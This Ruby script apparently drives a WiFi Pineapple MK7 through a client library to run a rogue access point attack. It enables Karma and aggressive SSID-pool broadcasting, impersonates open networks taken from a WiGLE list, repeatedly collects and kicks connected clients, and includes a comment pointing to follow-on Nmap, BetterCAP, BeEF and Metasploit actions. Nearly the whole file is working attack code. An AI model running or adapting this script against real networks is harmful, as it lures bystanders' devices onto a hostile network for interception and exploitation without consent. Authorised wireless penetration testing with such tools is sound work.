require_relative('../../classes/PineappleMK7.rb')

system_authentication = PineappleMK7::System::Authentication.new
system_authentication.host = "172.16.42.1"
system_authentication.port = 1471
system_authentication.mac = "00:13:37:DD:EE:FF"
system_authentication.password = "<ROOT-ACCOUNT-PASSWORD>"

if (system_authentication.login)

    led = PineappleMK7::System::LED.new

    # SETUP
    #
    led.setup

    SSIDS = './ssids/open-wigle-ssids.txt'
    pineap_impersonation = PineappleMK7::Modules::PineAP::Impersonation.new

    TIMES = 30
    INTERVAL = 10
    pineap_clients = PineappleMK7::Modules::PineAP::Clients.new

    pineap_filtering = PineappleMK7::Modules::PineAP::Filtering.new
    pineap_filtering.client_filter('deny')
    pineap_filtering.ssid_filter('deny')

    pineap_settings = PineappleMK7::Modules::PineAP::Settings.new
    pineap_settings.karma = true
    pineap_settings.broadcast_ssid_pool = true
    pineap_settings.beacon_interval = 'AGGRESSIVE'
    pineap_settings.save

    # ATTACK
    #
    led.attack

    File.readlines(SSIDS, chomp: true).each do |ssid|
        pineap_impersonation.add_ssid(ssid)
    end

    # SPECIAL
    #
    led.special

    puts('[+] Connected Clients')
    
    TIMES.times do
        sleep(INTERVAL)
        pineap_clients.connected_clients.each do |client|
            pp(client)
            # Nmap, BetterCAP, BeEF, Metasploit, ... actions
            pineap_filtering.add_client(client.mac)
            pineap_clients.kick(client.mac)
        end
    end

    # FINISH
    #
    led.finish

    reset_settings = PineappleMK7::Modules::PineAP::Settings.new
    reset_settings.save

    # CLEANUP
    #
    led.cleanup

    pineap_impersonation.clear_pool
    pineap_clients.clear_previous
    pineap_filtering.clear_clients

    # OFF
    #
    led.off

end